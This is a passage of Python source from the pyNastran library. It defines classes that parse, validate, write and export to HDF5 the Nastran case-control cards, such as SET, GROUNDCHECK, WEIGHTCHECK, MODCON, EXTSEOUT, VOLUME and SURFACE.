self.allowed_strings:\n msg = 'value=%r not in [%s]' % (\n value, ', '.join(self.allowed_strings))\n raise ValueError(msg)\n self.value = value\n\n def export_to_hdf5(self, h5_file, encoding):\n value_bytes = self.value.encode(encoding) if isinstance(self.value, str) else self.value\n #sub_group = h5_file.create_group(self.type)\n h5_file.create_dataset('value', data=value_bytes)\n\n @classmethod\n def load_hdf5(cls, h5_file, encoding):\n from pyNastran.utils.dict_to_h5py import _cast\n value = h5_file['value']\n\n casted_value = _cast(value)\n if isinstance(casted_value, int):\n value2 = casted_value\n else:\n value2 = casted_value.decode(encoding)# if isinstance(value, bytes) else value\n return cls(value2), []\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n return '%s = %s\\n' % (self.type, self.value)\n\n\nclass ADACT(IntStrCard):\n type = 'ADACT'\n allowed_strings = {'ALL', 'NONE'}\n def __init__(self, value):\n super().__init__(value)\n\nclass AEROF(IntStrCard):\n type = 'AEROF'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass APRES(IntStrCard):\n type = 'APRES'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass GPRSORT(IntStrCard):\n type = 'GPRSORT'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass GPSDCON(IntStrCard):\n type = 'GPSDCON'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass HARMONICS(IntStrCard):\n type = 'HARMONICS'\n allowed_strings = {'ALL', 'NONE'}\n def __init__(self, value):\n super().__init__(value)\n\nclass OFREQUENCY(IntStrCard):\n type = 'OFREQUENCY'\n alternate_names = {'OFREQ'}\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass OMODES(IntStrCard):\n type = 'OMODES'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass SUPER(IntStrCard):\n type = 'SUPER'\n allowed_strings = {'ALL'}\n #def __init__(self, value):\n #super().__init__(value)\n\n#----------------------------\n\nclass GPSTRESS(IntStrCard):\n type = 'GPSTRESS'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass SEALL(IntStrCard):\n type = 'SEALL'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass SEDR(IntStrCard):\n type = 'SEDR'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nclass GPKE(IntStrCard):\n type = 'GPKE'\n allowed_strings = {'ALL'}\n def __init__(self, value):\n super().__init__(value)\n\nINTSTR_CARDS = [\n ADACT, AEROF, APRES, GPRSORT, GPSDCON, HARMONICS, OFREQUENCY, OMODES,\n SUPER, SEALL, SEDR,\n] + [GPSTRESS, GPKE, ]\nINTSTR_CARD_DICT = {card.type : card for card in INTSTR_CARDS}\nINTSTR_CARD_NAMES = tuple([card.type for card in INTSTR_CARDS])\n\n#-------------------------------------------------------------------------------\n\nclass StringCard(CaseControlCard):\n type = 'StringCard'\n allowed_values = [] # type: List[str]\n def __init__(self, value, validate=True):\n super(StringCard, self).__init__()\n self.value = value.strip()\n if validate:\n self.validate()\n\n @classmethod\n def add_from_case_control(cls, line, line_upper, lines, i):\n \"\"\"add method used by the CaseControl class\"\"\"\n value = line_upper.split('=')[1]\n return cls(value)\n\n def validate(self):\n if self.value not in self.allowed_values:\n msg = '%s: value=%r not in [%s]' % (\n self.type, self.value, ', '.join(self.allowed_values))\n raise ValueError(msg)\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n return '%s = %s\\n' % (self.type, self.value)\n\n def write(self, spaces):\n return spaces + str(self)\n\n def export_to_hdf5(self, h5_file, encoding):\n value_bytes = self.value.encode(encoding)\n #sub_group = h5_file.create_group(self.type)\n h5_file.create_dataset('value', data=value_bytes)\n\n @classmethod\n def load_hdf5(cls, h5_file, encoding):\n from pyNastran.utils.dict_to_h5py import _cast\n value = h5_file['value']\n try:\n value2 = _cast(value).decode(encoding)\n except AttributeError:\n print(cls.type, _cast(value))\n raise\n return cls(value2), []\n\n#-------------------------------------------------------------------------------\n\nclass SET(CaseControlCard):\n type = 'SET'\n def __init__(self, set_id, values):\n super(SET, self).__init__()\n self.set_id = int(set_id)\n\n #values2 = expand_thru_case_control(values)\n self.value = values\n\n @property\n def key(self):\n \"\"\"temporary method to emulate the old key attribute\"\"\"\n return '%s %s' % (self.type, self.set_id)\n\n def __iter__(self):\n \"\"\"temporary method to emulate the old list access style\"\"\"\n value = self\n options = None\n param_type = 'OBJ-type'\n return iter([value, options, param_type])\n\n @classmethod\n def add_from_case_control(cls, line_upper, lines, i):\n \"\"\"add method used by the CaseControl class\"\"\"\n line = lines[i]\n sline = line_upper.split('=')\n assert len(sline) == 2, sline\n\n key, value = sline\n try:\n (key, set_id) = key.split()\n except:\n raise RuntimeError(key)\n\n assert key.upper() == key, key\n unused_options = int(set_id)\n\n #if self.debug:\n #self.log.debug('SET-type key=%r set_id=%r' % (key, set_id))\n fivalues = value.rstrip(' ,').split(',') # float/int values\n\n #: .. todo:: should be more efficient multiline reader...\n # read more lines....\n if line[-1].strip() == ',':\n i += 1\n #print(\"rawSETLine = %r\" % (lines[i]))\n while 1:\n if lines[i].strip()[-1] == ',':\n fivalues += lines[i][:-1].split(',')\n else: # last case\n fivalues += lines[i].split(',')\n #print(\"fivalues last = i=%s %r\" % (i, lines[i]))\n i += 1\n break\n i += 1\n #print(\"len(fivalues) = %s\" % len(fivalues))\n return cls(set_id, fivalues)\n\n def write(self, spaces):\n \"\"\"\n writes\n SET 80 = 3926, 3927, 3928, 4141, 4142, 4143, 4356, 4357, 4358, 4571,\n 4572, 4573, 3323 THRU 3462, 3464 THRU 3603, 3605 THRU 3683,\n 3910 THRU 3921, 4125 THRU 4136, 4340 THRU 4351\n\n \"\"\"\n return write_set(self.set_id, self.value, spaces=spaces)\n\n def __repr__(self):\n \"\"\"see `write`\"\"\"\n return write_set(self.set_id, self.value)\n\nclass SETMC(SET):\n \"\"\"\n SETMC 121 = ACCE/99(T3),1200(T1),1399(R2)\n SETMC 222 = STRESS/134(22)\n SETMC 343 = ACCE/99(T3),1200(T1),1399(R2),STRESS/134(22)\n SETMC 122 = DISP/45(T1) 45(T2) 45(T3),\n 38(T1) 38(T2) 38(T3),\n VELO/45(T1) 45(T2) 45(T3),\n 38(T1) 38(T2) 38(T3),\n ACCE/45(T1) 45(T2) 45(T3),\n 38(T1) 38(T2) 38(T3)\n\n \"\"\"\n type = 'SETMC'\n def __init__(self, set_id, values):\n super(SETMC, self).__init__(set_id, values)\n\nclass CheckCard(CaseControlCard):\n \"\"\"\n Creates a card that validates the input\n\n GROUNDCHECK=YES\n GROUNDCHECK(GRID=12,SET=(G,N,A),THRESH=1.E-5,DATAREC=YES)=YES\n GROUNDCHECK(SET=ALL)=YES\n\n WEIGHTCHECK=YES\n WEIGHTCHECK(GRID=12,SET=(G,N,A),MASS)=YES\n WEIGHTCHECK(SET=ALL)=YES\n\n \"\"\"\n type = 'CheckCard'\n allowed_keys = set([]) # type: Set[str]\n\n # key:(type, allowed_values)\n allowed_values = {} # type: Dict[str, Union[float, str]]\n\n # the allowed value for the key, options, value approach\n allowed_strings = set([]) # type: Set[str]\n\n # maps something like INIT to INITIAL\n duplicate_names = {} # type: Dict[Any, Any]\n\n # enables values as integers instead of just strings\n allow_ints = False\n\n # 'OUTPUT(PLOT)' instead of 'OUTPUT(PLOT)=YES'\n allow_equals = True\n\n def __init__(self, key, value, options):\n \"\"\"\n Creates a card of the form:\n key(options) = value\n\n Parameters\n ----------\n key : str\n the name of the card\n value : List[str]\n the options\n value : str\n the response value\n\n \"\"\"\n super(CheckCard, self).__init__()\n self.key = key\n self.options = options\n self.data = []\n for key_value in options:\n if key_value.upper().startswith('SET'):\n key = self._parse_set(key_value, options)\n else:\n key = self._parse(key_value, options)\n\n if key in self.duplicate_names:\n key = self.duplicate_names[key]\n\n if key not in self.allowed_keys:\n msg = '%s: key=%r allowed_keys=[%r]' % (\n self.type, key, ', '.join(self.allowed_keys))\n raise KeyError(msg)\n\n if isinstance(value, str):\n value = value.strip().upper()\n if self.allow_equals:\n if self.allow_ints:\n try:\n value = int(value)\n except ValueError:\n if value not in self.allowed_strings:\n msg = '%s: value=%r not in [%s]; options=%s' % (\n self.type, value, ', '.join(self.allowed_strings), options)\n raise ValueError(msg)\n else:\n if value not in self.allowed_strings:\n msg = '%s: value=%r not in [%s]; options=%s' % (\n self.type, value, ', '.join(self.allowed_strings), options)\n raise ValueError(msg)\n else:\n assert value is None, value\n self.value = value\n\n def _parse(self, key_value, options):\n if '=' in key_value:\n assert self.allow_equals is True, key_value\n key, valuei = key_value.split('=')\n key = key.strip()\n valuei = valuei.strip()\n\n if key in self.duplicate_names:\n key = self.duplicate_names[key]\n\n if key in self.allowed_values:\n key_type, allowed_values = self.allowed_values[key]\n try:\n valuei = key_type(valuei)\n except ValueError:\n msg = 'cannot make %r a %s in %r' % (valuei, key_type, key_value)\n raise ValueError(msg)\n except TypeError:\n msg = 'cannot make %r a %s in %r' % (valuei, key_type, key_value)\n raise TypeError(msg)\n\n # parse the value\n # SET=(G,N,A)\n if allowed_values is not None:\n try:\n sline = valuei.strip('(,)').split(',')\n except AttributeError:\n msg = 'cannot make %r a %s in %r of the form SET=(G,N,A)' % (\n valuei, key_type, key_value)\n raise ValueError(msg)\n\n for val in sline:\n if val not in allowed_values:\n msg = '%s: key=%r value=%r allowed_values=[%r]' % (\n self.type, key, val, ', '.join(allowed_values))\n msg += '\\noptions = %r' % options\n raise ValueError(msg)\n\n key = key.upper()\n if isinstance(valuei, str):\n valuei = valuei.upper()\n self.data.append((key, valuei))\n else:\n key = key_value.upper()\n self.data.append((key, None))\n return key\n\n def _parse_set(self, key_value, options):\n \"\"\"SET=(G,N,N+AUTOSPC,F,A)\"\"\"\n if '=' in key_value:\n key, valuei = key_value.split('=')\n key = key.strip()\n valuei = valuei.strip()\n\n if key in self.duplicate_names:\n key = self.duplicate_names[key]\n\n if key in self.allowed_values:\n key_type, allowed_values = self.allowed_values[key]\n try:\n valuei = key_type(valuei)\n except ValueError:\n msg = 'cannot make %r a %s in %r' % (valuei, key_type, key_value)\n raise ValueError(msg)\n except TypeError:\n msg = 'cannot make %r a %s in %r' % (valuei, key_type, key_value)\n raise TypeError(msg)\n\n # parse the value\n # SET=(G,N,A)\n if allowed_values is not None:\n try:\n sline = valuei.strip('(,)').split(',')\n except AttributeError:\n msg = 'cannot make %r a %s in %r of the form SET=(G,N,A)' % (\n valuei, key_type, key_value)\n raise ValueError(msg)\n\n for val in sline:\n if '+' not in val or 'ALL' in val.upper():\n # typical case\n if val not in allowed_values:\n msg = '%s: key=%r value=%r allowed_values=[%r]' % (\n self.type, key, val, ', '.join(allowed_values))\n msg += '\\noptions = %r' % options\n raise ValueError(msg)\n else:\n vals = val.split('+')\n # N+AUTOSPC\n for vali in vals:\n if vali not in allowed_values:\n msg = '%s: key=%r value=%r allowed_values=[%r]' % (\n self.type, key, val, ', '.join(allowed_values))\n msg += '\\noptions = %r' % options\n raise ValueError(msg)\n\n self.data.append((key, valuei))\n else:\n key = key_value\n self.data.append((key, None))\n\n key = key.upper()\n return key\n\n @classmethod\n def add_from_case_control(cls, line, line_upper, lines, i):\n \"\"\"add method used by the CaseControl class\"\"\"\n equals_count = line.count('=')\n if cls.allow_equals:\n if equals_count == 1:\n line_upper = line_upper.replace(' ', '')\n # GROUNDCHECK=YES\n # WEIGHTCHECK=YES\n key, value, options = cls._parse_single_equals(line, line_upper, lines, i)\n\n elif equals_count >= 2 and '(' in line:\n #GROUNDCHECK(PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO)=YES\n #WEIGHTCHECK(PRINT,SET=(G,N,F,A),CGI=NO,WEIGHT)=YES\n key, value, options = cls._parse_multi_equals(line, line_upper, lines, i)\n\n #elif equals_count == 2:\n #GROUNDCHECK(SET=ALL)=YES\n #WEIGHTCHECK(SET=ALL, PRINT, THRESH=0.01, DATAREC=NO)=YES\n else:\n raise RuntimeError('equals_count=%s; line = %r' % (equals_count, line))\n else:\n value = None\n if '(' in line_upper:\n (class_name, options_str) = line_upper.strip(')').split('(')\n options = options_str.split(',')\n else:\n class_name = line_upper\n assert class_name == 'OUTPUT', class_name\n options = []\n key = class_name\n #print(f'options_str = {options_str!r}')\n return cls(key, value, options)\n\n @classmethod\n def _parse_single_equals(cls, line, line_upper, lines, i):\n \"\"\"\n GROUNDCHECK=YES\n WEIGHTCHECK=YES\n \"\"\"\n if '=' in line:\n (key, value) = line_upper.strip().split('=')\n else:\n msg = 'expected item of form \"name = value\" line=%r' % line.strip()\n raise RuntimeError(msg)\n\n key = key.strip().upper()\n value = value.strip()\n #if self.debug:\n #self.log.debug(\"key=%r value=%r\" % (key, value))\n #param_type = 'STRESS-type'\n assert key.upper() == key, key\n\n if '(' in key: # comma may be in line - STRESS-type\n #param_type = 'STRESS-type'\n sline = key.strip(')').split('(')\n key = sline[0]\n options = sline[1].split(',')\n\n # handle TEMPERATURE(INITIAL) and TEMPERATURE(LOAD) cards\n if key in ['TEMPERATURE', 'TEMP']:\n option = options[0]\n if option == '':\n option = 'BOTH'\n key = 'TEMPERATURE'\n options = [option]\n else:\n # DISPLACEMENT = ALL\n options = []\n return key, value, options\n\n @classmethod\n def _parse_multi_equals(cls, line, line_upper, lines, i):\n \"\"\"\n #GROUNDCHECK(PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO)=YES\n #WEIGHTCHECK(PRINT,SET=(G,N,F,A),CGI=NO,WEIGHT)=YES\n \"\"\"\n assert len(lines) == 1, lines\n line = lines[0]\n try:\n key, value_options = line.split('(', 1)\n #GROUNDCHECK, PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO)=YES\n #WEIGHTCHECK, PRINT,SET=(G,N,F,A),CGI=NO,WEIGHT)=YES\n except ValueError:\n msg = 'Expected a \"(\", but did not find one.\\n'\n msg += 'Looking for something of the form:\\n'\n msg += ' GROUNDCHECK(PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO)=YES\\n'\n msg += '%r' % line\n raise ValueError(msg)\n\n try:\n options_paren, value = value_options.rsplit('=', 1)\n #'GROUNDCHECK', 'PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO)', 'YES'\n #'WEIGHTCHECK', 'PRINT,SET=(G,N,F,A),CGI=NO,WEIGHT)', 'YES'\n except ValueError:\n msg = 'Expected a \"=\", but did not find one.\\n'\n msg += 'Looking for something of the form:\\n'\n msg += ' GROUNDCHECK(PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO)=YES\\n'\n msg += 'value_options=%r\\n' % value_options\n msg += '%r' % line\n raise ValueError(msg)\n options_paren = options_paren.strip()\n\n value = value.strip()\n if value.isdigit():\n value = int(value)\n if not options_paren.endswith(')'):\n raise RuntimeError(line)\n str_options = options_paren[:-1]\n #'GROUNDCHECK', 'PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO', 'YES'\n #'WEIGHTCHECK', 'PRINT,SET=(G,N,F,A),CGI=NO,WEIGHT', 'YES'\n\n if '(' in str_options:\n options = split_by_mixed_commas_parentheses(str_options)\n else:\n options = str_options.split(',')\n #param_type = 'STRESS-type'\n key = key.upper()\n return key, value, options\n\n def write(self, spaces):\n msg = spaces + str(self)\n return msg\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n msg = '%s' % self.type\n if self.data:\n msg += '('\n for key, value in self.data:\n if value is None:\n msg += '%s, ' % key\n else:\n msg += '%s=%s, ' % (key, value)\n msg = msg.strip(', ') + ') = %s' % self.value\n else:\n msg += ' = %s' % self.value\n return msg + '\\n'\n\ndef split_by_mixed_commas_parentheses(str_options: str) -> List[str]:\n \"\"\"\n Excessively complicated function to split something excessively\n complicated. Thankfully, it only has one set of parentheses\n and no nested blocks.\n\n Parameters\n ----------\n str_options : str\n a nasty section of a case control line\n 'PRINT,SET=(G,N,N+AUTOSPC,F,A),DATAREC=NO'\n 'PRINT,SET=(G,N,F,A),CGI=NO,WEIGHT'\n\n Returns\n -------\n options : List[str]\n something that's actually parseable\n ['PRINT', 'SET=(G,N,N+AUTOSPC,F,A)', 'DATAREC=NO']\n ['PRINT', 'SET=(G,N,F,A)', 'CGI=NO', 'WEIGHT']\n\n \"\"\"\n options_start = []\n options_end = []\n options_start_new = [] # type: List[str]\n options_end_new = [] # type: List[str]\n\n # search for ',' until one is '(' closer to the beginning\n # of the string; put it in options_start\n icomma = str_options.index(',')\n iparen = str_options.index('(')\n #print('icomma=%s iparen=%s' % (icomma, iparen))\n while icomma < iparen:\n base, str_options = str_options.split(',', 1)\n str_options = str_options.strip()\n icomma = str_options.index(',')\n iparen = str_options.index('(')\n options_start.append(base.strip())\n #print(' icomma=%s iparen=%s' % (icomma, iparen))\n #print(' options_start=%s' % options_start)\n\n # search for ',' until one is ')' closer to the end\n # of the string; put it in options_end\n icomma = str_options.rindex(',')\n iparen = str_options.rindex(')')\n #print('icomma=%s iparen=%s' % (icomma, iparen))\n while icomma > iparen:\n str_options, end = str_options.rsplit(')', 1)\n str_options = str_options.strip() + ')'\n iparen = str_options.rindex(')')\n if ',' in str_options:\n icomma = str_options.rindex(',')\n else:\n icomma = -1\n options_end.append(end.strip(' ,'))\n #print(' icomma=%s iparen=%s' % (icomma, iparen))\n #print(' options_end=%s' % options_end[::-1])\n\n #print()\n #print('options_start=%s' % options_start)\n #print('options_end=%s' % options_end)\n #print('leftover = %r' % str_options)\n\n # clean up the block and make sure we didn't mess up parsing the line\n for option in options_start:\n assert '(' not in option, option\n assert ')' not in option, option\n options_start_new += [optioni.strip() for optioni in option.split(',')]\n\n # we created options_end from right to left, so we need to reverse it\n for option in options_end[::-1]:\n assert '(' not in option, option\n assert ')' not in option, option\n options_end_new += [optioni.strip() for optioni in option.split(',')]\n\n options = options_start_new + [str_options] + options_end_new\n return options\n\nclass GROUNDCHECK(CheckCard):\n \"\"\"\n GROUNDCHECK=YES\n GROUNDCHECK(GRID=12,SET=(G,N,A),THRESH=1.E-5,DATAREC=YES)=YES\n\n \"\"\"\n type = 'GROUNDCHECK'\n allowed_keys = {'GRID', 'SET', 'PRINT', 'NOPRINT', 'THRESH', 'DATAREC', 'RTHRESH'}\n allowed_strings = {'YES'}\n allowed_values = {\n 'CGI' : (str, ['YES', 'NO']),\n 'SET' : (str, ['G', 'N', 'AUTOSPC', 'F', 'A', 'ALL']),\n 'THRESH' : (float, None),\n 'DATAREC' : (str, ['YES', 'NO']),\n 'RTHRESH' : (float, None),\n 'GRID' : (int, None),\n }\n\n def __init__(self, key, value, options):\n CheckCard.__init__(self, key, value, options)\n\n def export_to_hdf5(self, hdf5_file, encoding):\n export_to_hdf5_check(self, hdf5_file, encoding)\n\n\nclass MEFFMASS(CheckCard):\n \"\"\"\n MEFFMASS\n MEFFMASS(GRID=12,SUMMARY,PARTFAC)\n MEFFMASS(PLOT,ALL,THRESH=0.001)=YES\n\n \"\"\"\n type = 'MEFFMASS'\n allowed_keys = {\n 'PRINT', 'PLOT', 'PUNCH',\n 'MINT1', 'MINT2', 'MINT3', 'MAXIT',\n 'THRESH', 'GRID',\n 'SUMMARY', 'PARTFAC', 'MEFFM', 'MEFFW', 'FRACSUM', 'ALL'}\n allowed_strings = {'YES', 'NO'}\n alternate_names = {'MEFF'}\n allowed_values = {\n 'GRID' : (int, None),\n 'MINT1' : (int, None),\n 'MINT2' : (int, None),\n 'MINT3' : (int, None),\n 'MAXIT' : (int, None),\n 'THRESH' : (float, None),\n } # type: Dict[str, Union[str, int]]\n #alternate_names = {'PRES'}\n #allow_ints = True\n\n #def __init__(self, key, value, options):\n #CheckCard.__init__(self, key, value, options)\n\n def export_to_hdf5(self, hdf5_file, encoding):\n export_to_hdf5_check(self, hdf5_file, encoding)\n\n\nclass WEIGHTCHECK(CheckCard):\n \"\"\"\n WEIGHTCHECK=YES\n WEIGHTCHECK(GRID=12,SET=(G,N,A),MASS)=YES\n\n \"\"\"\n type = 'WEIGHTCHECK'\n allowed_keys = {'GRID', 'SET', 'PRINT', 'NOPRINT', 'CGI', 'MASS', 'WEIGHT'}\n allowed_strings = {'YES'}\n allowed_values = {\n 'CGI': (str, ['YES', 'NO']),\n 'SET': (str, ['G', 'N', 'AUTOSPC', 'F', 'A', 'V', 'ALL']),\n 'GRID' : (int, None),\n }\n\n def __init__(self, key, value, options):\n CheckCard.__init__(self, key, value, options)\n\n def export_to_hdf5(self, hdf5_file, encoding):\n export_to_hdf5_check(self, hdf5_file, encoding)\n\nclass DSAPRT(CheckCard):\n \"\"\"\n DSAPRT(END=SENS)=ALL\n DSAPRT(FORMATTED,EXPORT)\n DSAPRT(FORMATTED,START=FIRST,BY=3,END=LAST)=101\n DSAPRT(UNFORMATTED,START=FIRST)\n DSAPRT(UNFORMATTED,EXPORT)\n DSAPRT(FORMATTED,END=4)=ALL\n DSAPRT(UNFORMATTED,END=SENS)=ALL\n DSAPRT(NOPRINT, EXPORT)\n \"\"\"\n # not done...\n type = 'DSAPRT'\n allowed_keys = {\n 'FORMATTED', 'UNFORMATTED', 'EXPORT',\n 'START', 'BY', 'END',}\n allowed_strings = {'ALL'}\n allowed_values = {\n 'START' : (str, ['FIRST']),\n 'BY' : (int, None),\n 'END' : (str, ['SENS', 'LAST']),\n }\n\n def __init__(self, key, value, options):\n CheckCard.__init__(self, key, value, options)\n\n def export_to_hdf5(self, hdf5_file, encoding):\n export_to_hdf5_check(self, hdf5_file, encoding)\n\n\nclass MODCON(CheckCard):\n \"\"\"\n MODCON=123\n MODCON(SORT1,PHASE,PRINT,PUNCH,BOTH,TOPS=5)=ALL\n\n \"\"\"\n type = 'MODCON'\n allowed_keys = {'SORT1', 'SORT2', 'REAL', 'IMAG', 'PHASE', 'PRINT', 'NOPRINT',\n 'PUNCH', 'ABS', 'NORM', 'BOTH', 'TOPS', 'TOPF', 'SOLUTION',\n 'PANELMC'}\n duplicate_names = {\n 'TOP' : 'TOPS',\n 'SOLU' : 'SOLUTION',\n 'PANE' : 'PANELMC',\n }\n allowed_strings = {'ALL', 'NONE'}\n allow_ints = True\n\n allowed_values = {\n 'TOPS': (int, None),\n 'TOPF': (int, None),\n 'SOLUTION' : (int, None), ## TODO: is this right???\n }\n\n def __init__(self, key, value, options):\n CheckCard.__init__(self, key, value, options)\n\nclass EXTSEOUT(CaseControlCard):\n \"\"\"\n EXTSEOUT\n EXTSEOUT(ASMBULK,EXTID=100)\n EXTSEOUT(ASMBULK,EXTBULK,EXTID=200)\n EXTSEOUT(EXTBULK,EXTID=300)\n EXTSEOUT(DMIGDB)\n EXTSEOUT(ASMBULK,EXTID=400,DMIGOP2=21)\n EXTSEOUT(EXTID=500,DMIGPCH)\n EXTSEOUT(ASMBULK,EXTBULK,EXTID=500,DMIGSFIX=XSE500,DMIGPCH)\n EXTSEOUT(ASMBULK,EXTBULK,EXTID=500,DMIGSFIX=EXTID,DMIGPCH)\n EXTSEOUT(STIF,MASS,DAMP,EXTID=600,ASMBULK,EXTBULK,MATDB)\n EXTSEOUT(STIF,MASS,DAMP,GEOM,EXTID=600)\n\n \"\"\"\n type = 'EXTSEOUT'\n allowed_keys = {'EXTID', 'ASMBULK', 'EXTBULK', 'MATDB', 'MATRIXDB',\n 'GEOM', 'DMIGSFIX', 'DMIGDB',\n 'STIFF', 'STIFFNESS', 'MASS',\n 'DAMP', 'DAMPING', 'K4DAMP',\n 'LOADS',\n 'DMIGOP2', 'DMIGPCH',\n 'MATOP4', 'MATRIXOP4'}\n\n def __init__(self, data):\n super(EXTSEOUT, self).__init__()\n self.data = data\n\n def export_to_hdf5(self, hdf5_file, encoding):\n if isinstance(self.data, list):\n data_group = hdf5_file.create_group('data')\n keys = []\n values = []\n for (key, value) in self.data:\n keys.append(key)\n values.append(value)\n #print('keys = ', keys)\n #print('values = ', values)\n keys_bytes = [\n key.encode(encoding) if isinstance(key, str) else key\n for key in keys]\n values_bytes = [\n value.encode(encoding) if isinstance(value, str) else value\n for value in values]\n data_group.create_dataset('keys', data=keys_bytes)\n\n if None in values_bytes:\n value_group = data_group.create_group('values')\n for i, value in enumerate(values):\n if value is None:\n continue\n value_group.create_dataset(str(i), data=value)\n else:\n data_group.create_dataset('values', data=values_bytes)\n #hdf5_file.create_dataset('data', data=data_bytes)\n else:\n raise NotImplementedError(self.data)\n\n @classmethod\n def add_from_case_control(cls, line):\n \"\"\"add method used by the CaseControl class\"\"\"\n data_list = []\n if '(' not in line:\n assert line == 'EXTSEOUT', line\n else:\n assert line.startswith('EXTSEOUT('), line\n assert line.endswith(')'), line\n data = line[9:-1].split(',')\n #print('data EXTSEOUT =', data)\n for key_value in data:\n key_value = key_value.strip()\n if '=' in key_value:\n key, value = key_value.split('=')\n key = cls._update_key(key)\n value = value.strip()\n\n data_list.append((key, value))\n else:\n key = cls._update_key(key_value)\n data_list.append((key, None))\n\n if key not in cls.allowed_keys:\n msg = 'EXTSEOUT: key=%r allowed_keys=[%s]' % (key, ', '.join(cls.allowed_keys))\n raise KeyError(msg)\n return EXTSEOUT(data_list)\n\n @staticmethod\n def _update_key(key):\n \"\"\"\n STIFFNESS, DAMPING, K4DAMP, and LOADS may be abbreviated to STIF,\n DAMP, K4DA, and LOAD, respectively.\n\n \"\"\"\n key = key.strip()\n if key == 'STIF':\n key = 'STIFFNESS'\n elif key == 'DAMP':\n key = 'DAMPING'\n elif key == 'K4DA':\n key = 'K4DAMP'\n elif key == 'LOAD':\n key = 'LOADS'\n return key\n\n def write(self, spaces):\n msg = spaces + str(self)\n return msg\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n msg = 'EXTSEOUT'\n if self.data:\n msg += '('\n for key, value in self.data:\n if value is None:\n msg += '%s, ' % key\n else:\n msg += '%s=%s, ' % (key, value)\n msg = msg.strip(', ') + ')'\n return msg + '\\n'\n\nclass VOLUME(CaseControlCard):\n \"\"\"\n VOLUME 21 SET 2\n VOLUME id SET sid, [PRINCIPAL, DIRECT STRESS] [SYSTEM {ELEMENT, CORD cid, BASIC}]\n \"\"\"\n type = 'VOLUME'\n\n def __init__(self, data):\n super().__init__()\n self.data = data\n\n #def export_to_hdf5(self, hdf5_file, encoding):\n #if isinstance(self.data, list):\n #data_group = hdf5_file.create_group('data')\n #keys = []\n #values = []\n #for (key, value) in self.data:\n #keys.append(key)\n #values.append(value)\n ##print('keys = ', keys)\n ##print('values = ', values)\n #keys_bytes = [\n #key.encode(encoding) if isinstance(key, str) else key\n #for key in keys]\n #values_bytes = [\n #value.encode(encoding) if isinstance(value, str) else value\n #for value in values]\n #data_group.create_dataset('keys', data=keys_bytes)\n\n #if None in values_bytes:\n #value_group = data_group.create_group('values')\n #for i, value in enumerate(values):\n #if value is None:\n #continue\n #value_group.create_dataset(str(i), data=value)\n #else:\n #data_group.create_dataset('values', data=values_bytes)\n ##hdf5_file.create_dataset('data', data=data_bytes)\n #else:\n #raise NotImplementedError(self.data)\n\n @classmethod\n def add_from_case_control(cls, line):\n \"\"\"add method used by the CaseControl class\"\"\"\n sline = line.split()\n\n i = 0\n data = {}\n while i < len(sline):\n word = sline[i]\n if word == 'VOLUME':\n value = sline[i+1]\n data[word] = int(value)\n i += 2\n elif word == 'SET':\n value = sline[i+1]\n data[word] = int(value)\n i += 2\n elif word == 'DIRECT':\n # this is confusing...\n value = 'NONE'\n if i+1 < len(sline):\n #print(sline)\n value = sline[i+1]\n #data[word] = None\n data[word] = value\n assert value in ['NONE'], 'DIRECT value=%r' % value\n i += 2\n else:\n raise RuntimeError(f'VOLUME: {word}; {sline}\\n{line}')\n return VOLUME(data)\n\n def write(self, spaces):\n msg = spaces + str(self)\n return msg\n\n def __repr__(self):\n \"\"\"writes a card\"\"\"\n msg = 'VOLUME %i' % self.data['VOLUME']\n for key, value in sorted(self.data.items()):\n if key == 'VOLUME':\n continue\n msg += ' %s %s' % (key, value)\n return msg + '\\n'\n\nclass SURFACE(CaseControlCard):\n \"\"\"\n SURFACE 10 SET 9 NORMAL X3\n SURFACE 41 SET 42 FIBRE ALL NORMAL Z\n VOLUME id SET sid, [PRINCIPAL, DIRECT STRESS] [SYSTEM {ELEMENT, CORD cid, BASIC}]\n\n \"\"\"\n type = 'VOLUME'\n\n def __init__(self, data):\n super().__init__()\n self.data = data\n\n #def export_to_hdf5(self, hdf5_file, encoding):\n #if isinstance(self.data, list):\n #data_group = hdf5_file.create_group('data')\n #keys = []\n #values = []\n #for (key, value) in self.data:\n #keys.append(key)\n #values.append(value)\n ##print('keys = ', keys)\n ##print('values = ', values)\n #keys_bytes = [\n #key.encode(encoding) if isinstance(key, str) else key\n #for key in keys]\n #values_bytes = [\n #value.encode(encoding) if isinstance(value, str) else value\n #for value in values]\n #data_group.create_dataset('keys', data=keys_bytes)\n\n #if None in values_bytes:\n #value_group = data_group.create_group('values')\n #for i, value in enumerate(values):\n #if value is None:\n #continue\n #value_group.create_dataset(str(i), data=value)\n #else:\n #data_group.create_dataset('values', data=values_bytes)\n ##hdf5_file.create_dataset('data', data=data_bytes)\n #else:\n #raise NotImplementedError(self.data)\n\n @classmethod\n def add_from_case_control(cls, line):\n \"\"\"add method used by the CaseControl class\"\"\"\n sline = line.split()\n\n i = 0\n data = {}\n while i < len(sline):\n word = sline[i]\n if word == 'SURFACE':\n value = sline[i+1]\n data[word] = int(value)\n i += 2\n elif word == 'SET':\n value = sline[i+1]\n data[word] = int(value)\n i += 2\n elif word == 'FIBRE':\n value = sline[i+1]\n data[word] = value\n assert value in ['ALL'], 'SURFACE: %r=%r' % (word, value)\n i += 2\n elif word == 'NORMAL':\n value = sline[i+1]\n data[word] 